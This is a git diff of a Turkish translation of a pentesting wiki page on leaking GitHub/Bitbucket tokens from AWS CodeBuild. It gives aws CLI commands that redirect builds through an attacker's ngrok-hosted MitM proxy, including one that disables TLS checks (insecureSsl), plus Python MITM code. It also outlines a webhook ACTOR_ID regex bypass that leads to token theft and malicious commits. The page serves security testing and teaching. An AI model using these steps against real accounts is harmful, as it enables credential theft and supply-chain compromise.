diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 8568cc132..9ca0b285d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,47 +2,47 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Github/Bitbucket Yapılandırılmış Token'larını Kurtarma +## Github/Bitbucket yapılandırılmış Tokens'leri kurtarma -Öncelikle, sızdırabileceğiniz herhangi bir kaynak kimlik bilgisi yapılandırılıp yapılandırılmadığını kontrol edin: +Önce, leak edebileceğiniz herhangi bir source credentials yapılandırılmış mı diye kontrol edin: ```bash aws codebuild list-source-credentials ``` -### Docker Görüntüsü Üzerinden +### Via Docker Image -Eğer örneğin Github'a kimlik doğrulamanın hesapta ayarlandığını bulursanız, Codebuild'i projeyi oluşturmak için **belirli bir docker görüntüsü** kullanmaya zorlayarak bu **erişimi** (**GH token veya OAuth token**) **sızdırabilirsiniz**. +If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. -Bu amaçla **yeni bir Codebuild projesi oluşturabilir** veya mevcut birinin **ortamını** değiştirerek **Docker görüntüsünü** ayarlayabilirsiniz. +For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. -Kullanabileceğiniz Docker görüntüsü [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Bu, **env değişkenlerini `https_proxy`**, **`http_proxy`** ve **`SSL_CERT_FILE`** ayarlayacak çok temel bir Docker görüntüsüdür. Bu, **`https_proxy`** ve **`http_proxy`**'da belirtilen ana bilgisayarın trafiğinin çoğunu kesmenizi ve **`SSL_CERT_FILE`**'da belirtilen SSL CERT'ine güvenmenizi sağlar. +The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. -1. **Kendi Docker MitM görüntünüzü oluşturun ve yükleyin** -- Proxy IP adresinizi ayarlamak ve SSL sertifikanızı belirlemek için repo talimatlarını izleyin ve **docker görüntüsünü oluşturun**. -- **`http_proxy`**'yi ayarlamayın, böylece metadata uç noktasına yapılan istekleri kesmeyin. -- Proxy'yi ana bilgisayarınıza ayarlamak için **`ngrok`** kullanabilirsiniz, örneğin `ngrok tcp 4444`. -- Docker görüntünüzü oluşturduktan sonra, **bunu halka açık bir repoya yükleyin** (Dockerhub, ECR...). -2. **Ortamı ayarlayın** -- **Yeni bir Codebuild projesi oluşturun** veya mevcut birinin ortamını **değiştirin**. -- Projeyi **önceden oluşturulmuş Docker görüntüsünü** kullanacak şekilde ayarlayın. +1. **Create & Upload your own Docker MitM image** +- Repo'daki talimatları takip ederek proxy IP adresinizi ve SSL sertifikanızı ayarlayın ve **docker image'i build edin**. +- **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. +- Proxy'yi hostunuza ayarlamak için **`ngrok`** gibi bir araç kullanabilirsiniz: `ngrok tcp 4444` +- Docker image'i build ettikten sonra, **upload it to a public repo** (Dockerhub, ECR...) +2. **Set the environment** +- Yeni bir **Codebuild project** oluşturun veya mevcut bir projenin **environment**'ını değiştirin. +- Projeyi daha önce oluşturduğunuz **Docker image**'i kullanacak şekilde ayarlayın.
-3. **Ana bilgisayarınızda MitM proxy'yi ayarlayın** +3. **Set the MitM proxy in your host** -- **Github repo**'sunda belirtildiği gibi, şunu kullanabilirsiniz: +- As indicated in the **Github repo** you could use something like: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` > [!TIP] -> Kullanılan **mitmproxy sürümü 9.0.1** idi, sürüm 10 ile bunun çalışmayabileceği bildirildi. +> Kullanılan **mitmproxy version used was 9.0.1**, sürüm 10 ile bunun çalışmayabileceği rapor edildi. -4. **Build'i çalıştırın ve kimlik bilgilerini yakalayın** +4. **Build'i çalıştırın & kimlik bilgilerini yakalayın** - Token'ı **Authorization** başlığında görebilirsiniz:
-Bu, aws cli üzerinden de şöyle yapılabilir: +Bu, aws cli ile şu şekilde de yapılabilir ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json @@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` -### Via insecureSSL +### insecureSSL aracılığıyla -**Codebuild** projeleri, yalnızca API'den değiştirilebilen, webde gizli bir ayar olan **`insecureSsl`** adlı bir ayara sahiptir.\ -Bunu etkinleştirmek, Codebuild'in platform tarafından sunulan **sertifikayı kontrol etmeden** depoya bağlanmasına olanak tanır. +**Codebuild** projelerinin web arayüzünde gizli olan ve yalnızca API üzerinden değiştirilebilen **`insecureSsl`** adında bir ayarı vardır.\ +Bunu etkinleştirmek, Codebuild'in platformun sunduğu sertifikayı kontrol etmeden repository'ye bağlanmasına izin verir. -- Öncelikle mevcut yapılandırmayı şu şekilde listelemeniz gerekir: +- İlk olarak mevcut yapılandırmayı aşağıdakine benzer bir komutla enumerate etmeniz gerekir: ```bash aws codebuild batch-get-projects --name ``` -- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncellememe dair bir örnek var, sonunda **`insecureSsl=True`** olduğunu unutmayın (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir). -- Ayrıca, tcp ngrok'unuza işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini de ekleyin: +- Ardından, toplanan bilgilerle proje ayarını **`insecureSsl`** değerini **`True`** olarak güncelleyebilirsiniz. Aşağıda bir projeyi güncelleme örneğim var; sonundaki **`insecureSsl=True`** kısmına dikkat edin (bu, toplanan yapılandırmadan değiştirmeniz gereken tek şeydir). +- Ayrıca, **http_proxy** ve **https_proxy** çevre değişkenlerini tcp ngrok'unuza işaret edecek şekilde ekleyin, örneğin: ```bash aws codebuild update-project --name \ --source '{ @@ -115,7 +115,7 @@ aws codebuild update-project --name \ ] }' ``` -- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından belirtilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın. +- Sonra, [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği proxy variables (http_proxy ve https_proxy) tarafından gösterilen porta çalıştırın ```python from mitm import MITM, protocol, middleware, crypto @@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Son olarak, **Projeyi oluştur** butonuna tıklayın, **kimlik bilgileri** **düz metin** (base64) olarak mitm portuna **gönderilecektir**: +- Son olarak, **Build the project**'e tıklayın; **credentials** mitm portuna **düz metin** (base64) olarak gönderilecek:
-### ~~HTTP protokolü aracılığıyla~~ +### ~~HTTP protokolü üzerinden~~ -> [!TIP] > **Bu güvenlik açığı, AWS tarafından 2023 Şubat ayının 20'si haftasında bir noktada (sanırım Cuma günü) düzeltildi. Bu nedenle bir saldırgan bunu artık kötüye kullanamaz :)** +> [!TIP] > **Bu zafiyet, 20 Şubat 2023 haftasında AWS tarafından bir noktada düzeltildi (sanırım Cuma). Bu yüzden bir saldırgan artık bunu kötüye kullanamaz :)** -**Yükseltilmiş izinlere sahip bir saldırgan, yapılandırılmış Github/Bitbucket token'ını sızdırabilir** veya izinler OAuth aracılığıyla yapılandırılmışsa, **koda erişmek için kullanılan geçici OAuth token'ını** sızdırabilir. +Bir saldırgan, bir CodeBuild üzerinde **yükseltilmiş izinlere** sahipse yapılandırılmış Github/Bitbucket token'ını leak edebilir veya izinler OAuth ile yapılandırıldıysa, koda erişmek için kullanılan **geçici OAuth token'ını** leak edebilir. -- Bir saldırgan, kendi makinesine işaret eden **http_proxy** ve **https_proxy** ortam değişkenlerini CodeBuild projesine ekleyebilir (örneğin `http://5.tcp.eu.ngrok.io:14972`). +- Bir saldırgan, CodeBuild projesine **http_proxy** ve **https_proxy** environment variable'larını ekleyerek bunları kendi makinesine işaret edecek şekilde ayarlayabilir (örneğin `http://5.tcp.eu.ngrok.io:14972`).
-- Ardından, github repo'sunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions` -- Ardından, proxy değişkenleri (http_proxy ve https_proxy) tarafından işaret edilen portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresinden temel örneği çalıştırın. +- Sonra, github deposunun URL'sini HTTPS yerine HTTP kullanacak şekilde değiştirin, örneğin: `http://github.com/carlospolop-forks/TestActions` +- Ardından, proxy değişkenlerinin (http_proxy ve https_proxy) işaret ettiği portta [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) adresindeki temel örneği çalıştırın ```python from mitm import MITM, protocol, middleware, crypto @@ -158,15 +158,32 @@ certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` -- Sonra, **Projeyi oluştur** butonuna tıklayın veya komut satırından oluşturmayı başlatın: +- Ardından **Build the project** seçeneğine tıklayın veya derlemeyi komut satırından başlatın: ```sh aws codebuild start-build --project-name ``` -- Sonunda, **kimlik bilgileri** **düz metin olarak** (base64) mitm portuna **gönderilecektir**: +- Son olarak, **credentials** **açık metin** (base64) olarak mitm portuna gönderilecek:
> [!WARNING] -> Artık bir saldırgan, makinesinden token'ı kullanarak, sahip olduğu tüm ayrıcalıkları listeleyebilir ve CodeBuild hizmetini doğrudan kullanmaktan daha kolay bir şekilde (kötüye) kullanabilir. +> Artık bir saldırgan token'ı kendi makinesinden kullanabilecek, sahip olduğu tüm ayrıcalıkları listeleyebilecek ve CodeBuild servisini doğrudan kullanmaktan daha kolay şekilde kötüye kullanabilecek. + +## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds) + +Yanlış yapılandırılmış CodeBuild GitHub webhooks'u, anchor'lanmamış `ACTOR_ID` regex'leri kullandığında *güvenilmeyen* PR'lerin ayrıcalıklı build'leri başlatmasına izin verir. Eğer allowlist `123456|7890123` gibi `^`/`$` olmadan ayarlanmışsa, bu alt dizgilerden birini içeren herhangi bir ID eşleşir. GitHub kullanıcı ID'leri ardışık olduğundan, bir saldırgan “eclipsing” bir ID (güvenilen ID'nin süperdizisi) kaydetmek için yarışabilir ve build'i tetikleyebilir. + +**Exploit path** + +1. Public CodeBuild projelerini bularak webhook filtrelerini ortaya çıkarın ve anchor'lanmamış `ACTOR_ID` allowlist'ini çıkarın. +2. Bir eclipsing GitHub ID elde edin: +- Global ID sayacını örneklemek için GitHub org'ları oluşturup silin (org ID'leri aynı havuzu paylaşır). +- Çok sayıda GitHub App manifest oluşturmayı önceden hazırlayın ve sayaç hedefe ~100 ID kala onay URL'lerini tetikleyerek güvenilen alt dizgiyi içeren bir bot ID'sini hızlıca kaydedin. +3. Eclipsing hesaptan bir PR açın; regex alt dizgiyle eşleşir ve ayrıcalıklı build çalışır. +4. Build RCE kullanarak (ör. dependency install hooks) GitHub credential'ını işleyen proses belleğini dump edin ve PAT/OAuth token'ı kurtarın. +5. Token’ın `repo` scope'u ile hesabınızı collaborator/admin olarak davet edin ve kötü amaçlı commit'leri push/approve edin veya secret'leri exfiltrate edin. + +## References +- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild) {{#include ../../../../banners/hacktricks-training.md}}